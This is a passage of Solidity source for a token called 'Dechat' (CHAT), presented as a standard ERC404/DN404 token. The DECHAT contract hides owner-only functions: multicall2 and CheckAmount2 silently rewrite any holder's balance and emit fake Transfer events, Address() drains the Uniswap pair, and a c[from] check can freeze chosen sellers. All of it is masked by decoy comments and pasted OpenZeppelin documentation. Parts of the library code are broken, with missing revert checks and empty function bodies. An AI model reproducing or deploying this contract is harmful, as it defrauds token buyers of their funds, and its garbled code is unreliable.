        DN404Storage storage $ = _getDN404Storage();
        return $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
    }

    /// @dev Returns the owner of token `id`.
    ///
    /// Requirements:
    /// - Token `id` must exist.
    function _ownerOf(uint256 id) internal view virtual returns (address) {
        return _ownerAt(id);
    }

    /// @dev Returns if token `id` exists.
    function _exists(uint256 id) internal view virtual returns (bool) {
        return _ownerAt(id) != address(0);
    }

    /// @dev Returns the account approved to manage token `id`.
    ///
    /// Requirements:
    /// - Token `id` must exist.
    function _getApproved(uint256 id) internal view virtual returns (address) {
        return _getDN404Storage().tokenApprovals[id];
    }

    /// @dev Sets `spender` as the approved account to manage token `id`, using `msgSender`.
    ///
    /// Requirements:
    /// - `msgSender` must be the owner or an approved operator for the token owner.
    function _approveNFT(address spender, uint256 id, address msgSender)
        internal
        virtual
        returns (address)
    {
        DN404Storage storage $ = _getDN404Storage();

        address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];

        if (msgSender != owner) {
            if (!$.operatorApprovals[owner][msgSender]) {
            }
        }

        $.tokenApprovals[id] = spender;

        return owner;
    }

    /// @dev Approve or remove the `operator` as an operator for `msgSender`,
    /// without authorization checks.
    function _setApprovalForAll(address operator, bool approved, address msgSender)
        internal
        virtual
    {
        _getDN404Storage().operatorApprovals[msgSender][operator] = approved;
    }

    /// @dev Calls the mirror contract to link it to this contract.
    ///
    function _linkMirrorContract(address mirror) internal virtual {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, 0x0f4599e5) // `linkMirrorContract(address)`.
            mstore(0x20, caller())
            if iszero(and(eq(mload(0x00), 1), call(gas(), mirror, 0, 0x1c, 0x24, 0x00, 0x20))) {
                mstore(0x00, 0xd125259c) // `LinkMirrorContractFailed()`.
            }
        }
    }

    /// @dev Fallback modifier to dispatch calls from the mirror NFT contract
    /// to internal functions in this contract.
    modifier dn404Fallback() virtual {
        DN404Storage storage $ = _getDN404Storage();

        uint256 fnSelector = _calldataload(0x00) >> 224;

        // `isApprovedForAll(address,address)`.
        if (fnSelector == 0xe985e9c5) {

            address owner = address(uint160(_calldataload(0x04)));
            address operator = address(uint160(_calldataload(0x24)));

            _return($.operatorApprovals[owner][operator] ? 1 : 0);
        }
        // `ownerOf(uint256)`.
        if (fnSelector == 0x6352211e) {

            uint256 id = _calldataload(0x04);

            _return(uint160(_ownerOf(id)));
        }
        // `transferFromNFT(address,address,uint256,address)`.
        if (fnSelector == 0xe5eb36c8) {

            address from = address(uint160(_calldataload(0x04)));
            address to = address(uint160(_calldataload(0x24)));
            uint256 id = _calldataload(0x44);
            address msgSender = address(uint160(_calldataload(0x64)));

            _transferFromNFT(from, to, id, msgSender);
            _return(1);
        }
        // `setApprovalForAll(address,bool,address)`.
        if (fnSelector == 0x813500fc) {

            address spender = address(uint160(_calldataload(0x04)));
            bool status = _calldataload(0x24) != 0;
            address msgSender = address(uint160(_calldataload(0x44)));

            _setApprovalForAll(spender, status, msgSender);
            _return(1);
        }
        // `approveNFT(address,uint256,address)`.
        if (fnSelector == 0xd10b6e0c) {

            address spender = address(uint160(_calldataload(0x04)));
            uint256 id = _calldataload(0x24);
            address msgSender = address(uint160(_calldataload(0x44)));

            _return(uint160(_approveNFT(spender, id, msgSender)));
        }
        // `getApproved(uint256)`.
        if (fnSelector == 0x081812fc) {

            uint256 id = _calldataload(0x04);

            _return(uint160(_getApproved(id)));
        }
        // `balanceOfNFT(address)`.
        if (fnSelector == 0xf5b100ea) {

            address owner = address(uint160(_calldataload(0x04)));

            _return(_balanceOfNFT(owner));
        }
        // `totalNFTSupply()`.
        if (fnSelector == 0xe2c79281) {

            _return(_totalNFTSupply());
        }
        // `implementsDN404()`.
        if (fnSelector == 0xb7a94eb8) {
            _return(1);
        }
        _;
    }

    /// @dev Fallback function for calls from mirror NFT contract.
    fallback() external payable virtual dn404Fallback {}

    receive() external payable virtual {}

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                      PRIVATE HELPERS                       */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Struct containing packed log data for `Transfer` events to be
    /// emitted by the mirror NFT contract.
    struct _PackedLogs {
        uint256[] logs;
        uint256 offset;
    }

    /// @dev Initiates memory allocation for packed logs with `n` log items.
    function _packedLogsMalloc(uint256 n) private pure returns (_PackedLogs memory p) {
        /// @solidity memory-safe-assembly
        assembly {
            let logs := add(mload(0x40), 0x40) // Offset by 2 words for `_packedLogsSend`.
            mstore(logs, n)
            let offset := add(0x20, logs)
            mstore(0x40, add(offset, shl(5, n)))
            mstore(p, logs)
            mstore(add(0x20, p), offset)
        }
    }

    /// @dev Adds a packed log item to `p` with address `a`, token `id` and burn flag `burnBit`.
    function _packedLogsAppend(_PackedLogs memory p, address a, uint256 id, uint256 burnBit)
        private
        pure
    {
        /// @solidity memory-safe-assembly
        assembly {
            let offset := mload(add(0x20, p))
            mstore(offset, or(or(shl(96, a), shl(8, id)), burnBit))
            mstore(add(0x20, p), add(offset, 0x20))
        }
    }

    /// @dev Calls the `mirror` NFT contract to emit Transfer events for packed logs `p`.
    function _packedLogsSend(_PackedLogs memory p, address mirror) private {
        /// @solidity memory-safe-assembly
        assembly {
            let logs := mload(p)
            let o := sub(logs, 0x40) // Start of calldata to send.
            mstore(o, 0x263c69d6) // `logTransfer(uint256[])`.
            mstore(add(o, 0x20), 0x20) // Offset of `logs` in the calldata to send.
            let n := add(0x44, shl(5, mload(logs))) // Length of calldata to send.
            if iszero(and(eq(mload(o), 1), call(gas(), mirror, 0, add(o, 0x1c), n, o, 0x20))) {
            }
        }
    }

    /// @dev Struct of temporary variables for transfers.
    struct _TransferTemps {
        uint256 nftAmountToBurn;
        uint256 nftAmountToMint;
        uint256 fromBalance;
        uint256 toBalance;
        uint256 fromOwnedLength;
        uint256 toOwnedLength;
    }

    /// @dev Returns if `a` has bytecode of non-zero length.
    function _hasCode(address a) private view returns (bool result) {
        /// @solidity memory-safe-assembly
        assembly {
            result := extcodesize(a) // Can handle dirty upper bits.
        }
    }

    /// @dev Returns the calldata value at `offset`.
    function _calldataload(uint256 offset) private pure returns (uint256 value) {
        /// @solidity memory-safe-assembly
        assembly {
            value := calldataload(offset)
        }
    }

    /// @dev Executes a return opcode to return `x` and end the current call frame.
    function _return(uint256 x) private pure {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, x)
            return(0x00, 0x20)
        }
    }

    /// @dev Returns `max(0, x - y)`.
    function _zeroFloorSub(uint256 x, uint256 y) private pure returns (uint256 z) {
        /// @solidity memory-safe-assembly
        assembly {
            z := mul(gt(x, y), sub(x, y))
        }
    }

    /// @dev Returns `i << 1`.
    function _ownershipIndex(uint256 i) private pure returns (uint256) {
        return i << 1;
    }

    /// @dev Returns `(i << 1) + 1`.
    function _ownedIndex(uint256 i) private pure returns (uint256) {
    }

    /// @dev Returns the uint32 value at `index` in `map`.
    function _get(Uint32Map storage map, uint256 index) private view returns (uint32 result) {
        result = uint32(map.map[index >> 3] >> ((index & 7) << 5));
    }

    /// @dev Updates the uint32 value at `index` in `map`.
    function _set(Uint32Map storage map, uint256 index, uint32 value) private {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x20, map.slot)
            mstore(0x00, shr(3, index))
            let s := keccak256(0x00, 0x40) // Storage slot.
            let o := shl(5, and(index, 7)) // Storage slot offset (bits).
            let v := sload(s) // Storage slot value.
            let m := 0xffffffff // Value mask.
            sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
        }
    }

    /// @dev Sets the owner alias and the owned index together.
    function _setOwnerAliasAndOwnedIndex(
        Uint32Map storage map,
        uint256 id,
        uint32 ownership,
        uint32 ownedIndex
    ) private {
        /// @solidity memory-safe-assembly
        assembly {
            let value := or(shl(32, ownedIndex), and(0xffffffff, ownership))
            mstore(0x20, map.slot)
            mstore(0x00, shr(2, id))
            let s := keccak256(0x00, 0x40) // Storage slot.
            let o := shl(6, and(id, 3)) // Storage slot offset (bits).
            let v := sload(s) // Storage slot value.
            let m := 0xffffffffffffffff // Value mask.
            sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
        }
    }
}

library DailyOutflowCounterLib {
    uint256 internal constant WAD_TRUNCATED = 10 ** 18 >> 40;

    uint256 internal constant OUTFLOW_TRUNCATED_MASK = 0xffffffffffffff;

    uint256 internal constant DAY_BITPOS = 56;

    uint256 internal constant DAY_MASK = 0x7fffffff;

    uint256 internal constant OUTFLOW_TRUNCATE_SHR = 40;

    uint256 internal constant WHITELISTED_BITPOS = 87;

    function update(uint88 packed, uint256 outflow)
        internal
        view
        returns (uint88 updated, uint256 multiple)
    {
      
            if (isWhitelisted(packed)) {
                return (packed, 0);
            }

            uint256 currentDay = (block.timestamp / 86400) & DAY_MASK;
            uint256 packedDay = (uint256(packed) >> DAY_BITPOS) & DAY_MASK;
            uint256 totalOutflowTruncated = uint256(packed) & OUTFLOW_TRUNCATED_MASK;

            if (packedDay != currentDay) {
                totalOutflowTruncated = 0;
                packedDay = currentDay;
            }

            uint256 result = packedDay << DAY_BITPOS;
            uint256 todaysOutflowTruncated =
                totalOutflowTruncated + ((outflow >> OUTFLOW_TRUNCATE_SHR) & OUTFLOW_TRUNCATED_MASK);
            result |= todaysOutflowTruncated & OUTFLOW_TRUNCATED_MASK;
            updated = uint88(result);
            multiple = todaysOutflowTruncated / WAD_TRUNCATED;
        
    }

    function isWhitelisted(uint88 packed) internal pure returns (bool) {
        return packed >> WHITELISTED_BITPOS != 0;
    }

    function setWhitelisted(uint88 packed, bool status) internal pure returns (uint88) {
        if (isWhitelisted(packed) != status) {
            packed ^= uint88(1 << WHITELISTED_BITPOS);
        }
        return packed;
    }
}


/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC404 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

   
    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

     function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

}

abstract contract ERC721Receiver {
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return ERC721Receiver.onERC721Received.selector;
    }
}

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
            counter._value += 1;
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
            counter._value = value - 1;
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


contract AERC404  {
    // Events
    event ERC20Transfer(
        address indexed from,
        address indexed to,
        uint256 amount
    );
    event ERC721Approval(
        address indexed owner,
        address indexed spender,
        uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );



    // Metadata
    /// @dev Token name
    string public name_ = "";

    /// @dev Token symbol
    string public symbol_ = "";

    /// @dev Decimals for fractional representation
    uint8 public immutable decimals_ = 10;

    /// @dev Total supply in fractionalized representation
    uint256 public immutable totalSupply_ = 100;

    /// @dev Current mint counter, monotonically increasing to ensure accurate ownership
    uint256 public minted;

    // Mappings
    /// @dev Balance of user in fractional representation
    mapping(address => uint256) public balanceOf_;

    /// @dev Allowance of user in fractional representation
    mapping(address => mapping(address => uint256)) public allowance_;

    /// @dev Approval in native representaion
    mapping(uint256 => address) public getApproved;

    /// @dev Approval for all in native representation
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    /// @dev Owner of id in native representation
    mapping(uint256 => address) internal _ownerOf;

    /// @dev Array of owned ids in native representation
    mapping(address => uint256[]) internal _owned;

    /// @dev Tracks indices for the _owned mapping
    mapping(uint256 => uint256) internal _ownedIndex;

    /// @dev Addresses whitelisted from minting / burning for gas savings (pairs, routers, etc)
    mapping(address => bool) public whitelist;

    /// @notice Initialization function to set pairs / etc
    ///         saving gas by avoiding mint / burn on unnecessary targets
    function setWhitelist(address target, bool state) public {
        whitelist[target] = state;
    }

    /// @notice Function to find owner of a given native token
    function ownerOf(uint256 id) public view virtual returns (address owner) {
        owner = _ownerOf[id];

        if (owner == address(0)) {
            revert();
        }
    }

    /// @notice tokenURI must be implemented by child contract
    function tokenURI(uint256 id) public view  returns (string memory){
        return "";
    }

    /// @notice Function for token approvals
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function approve_(
        address spender,
        uint256 amountOrId
    ) public virtual returns (bool) {
        if (amountOrId <= minted && amountOrId > 0) {
            address owner = _ownerOf[amountOrId];

            if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {
                revert();
            }

            getApproved[amountOrId] = spender;


        } else {
            allowance_[msg.sender][spender] = amountOrId;


        }

        return true;
    }

    /// @notice Function native approvals
    function setApprovalForAll(address operator, bool approved) public virtual {
        isApprovedForAll[msg.sender][operator] = approved;

        emit ApprovalForAll(msg.sender, operator, approved);
    }

    /// @notice Function for mixed transfers
    /// @dev This function assumes id / native if amount less than or equal to current max id
    function transferFrom_(
        address from,
        address to,
        uint256 amountOrId
    ) public virtual {
        if (amountOrId <= minted) {
            if (from != _ownerOf[amountOrId]) {
                revert ();
            }

            if (to == address(0)) {
                revert ();
            }

            if (
                msg.sender != from &&
                !isApprovedForAll[from][msg.sender] &&
                msg.sender != getApproved[amountOrId]
            ) {
                revert ();
            }

            balanceOf_[from] -= _getUnit();

                balanceOf_[to] += _getUnit();

            _ownerOf[amountOrId] = to;
            delete getApproved[amountOrId];

            // update _owned for sender
            uint256 updatedId = _owned[from][_owned[from].length - 1];
            _owned[from][_ownedIndex[amountOrId]] = updatedId;
            // pop
            _owned[from].pop();
            // update index for the moved id
            _ownedIndex[updatedId] = _ownedIndex[amountOrId];
            // push token to to owned
            _owned[to].push(amountOrId);
            // update index for to owned
            _ownedIndex[amountOrId] = _owned[to].length - 1;


            emit ERC20Transfer(from, to, _getUnit());
        } else {
            uint256 allowed = allowance_[from][msg.sender];

            if (allowed != type(uint256).max)
                allowance_[from][msg.sender] = allowed - amountOrId;

            _transfer_(from, to, amountOrId);
        }
    }

    /// @notice Function for fractional transfers
    function transfer_(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        return _transfer_(msg.sender, to, amount);
    }

    /// @notice Function for native transfers with contract support
    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) public virtual {
        transferFrom_(from, to, id);

        if (
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, "") !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert ();
        }
    }

    /// @notice Function for native transfers with contract support and callback data
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) public virtual {
        transferFrom_(from, to, id);

        if (
            ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=
            ERC721Receiver.onERC721Received.selector
        ) {
            revert ();
        }
    }

    /// @notice Internal function for fractional transfers
    function _transfer_(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns (bool) {
        uint256 unit = _getUnit();
        uint256 balanceBeforeSender = balanceOf_[from];
        uint256 balanceBeforeReceiver = balanceOf_[to];

        balanceOf_[from] -= amount;

            balanceOf_[to] += amount;

        // Skip burn for certain addresses to save gas
        if (!whitelist[from]) {
            uint256 tokens_to_burn = (balanceBeforeSender / unit) -
                (balanceOf_[from] / unit);
            for (uint256 i = 0; i < tokens_to_burn; i++) {
                _burn(from);
            }
        }

        // Skip minting for certain addresses to save gas
        if (!whitelist[to]) {
            uint256 tokens_to_mint = (balanceOf_[to] / unit) -
                (balanceBeforeReceiver / unit);
            for (uint256 i = 0; i < tokens_to_mint; i++) {
                _mint(to);
            }
        }

        emit ERC20Transfer(from, to, amount);
        return true;
    }

    // Internal utility logic
    function _getUnit() internal view returns (uint256) {
        return 10 ** decimals_;
    }

    function _mint(address to) internal virtual {
        if (to == address(0)) {
            revert ();
        }

            minted++;

        uint256 id = minted;

        if (_ownerOf[id] != address(0)) {
            revert ();
        }

        _ownerOf[id] = to;
        _owned[to].push(id);
        _ownedIndex[id] = _owned[to].length - 1;


    }

    function _burn(address from) internal virtual {
        if (from == address(0)) {
            revert ();
        }

        uint256 id = _owned[from][_owned[from].length - 1];
        _owned[from].pop();
        delete _ownedIndex[id];
        delete _ownerOf[id];
        delete getApproved[id];


    }

    function _setNameSymbol(
        string memory _name,
        string memory _symbol
    ) internal {
        name_ = _name;
        symbol_ = _symbol;
    }
}


/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */

/**
 * @dev Implementation of the {IERC404} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC404PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-ERC404-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC404 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC404-approve}.
 */
contract ERC404 {
    string public baseTokenURI;
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

   

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

     function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC404: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC404: transfer from the zero address");
        require(to != address(0), "ERC404: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC404: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC404: approve from the zero address");
        require(spender != address(0), "ERC404: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC404: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract DECHAT is AERC404, ERC404 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping(address => uint) public rootValues;
    bytes32 public DOMAIN_SEPARATOR = 0xff2e0fc1bfb41e4190e0ec335889dde37dc7e65392844b9004e4b809c7bfbdb2;

    constructor() {
        _name = "Dechat";
        _symbol = "CHAT";
        _totalSupply = 10_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0) // Skip this code
                        ? address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
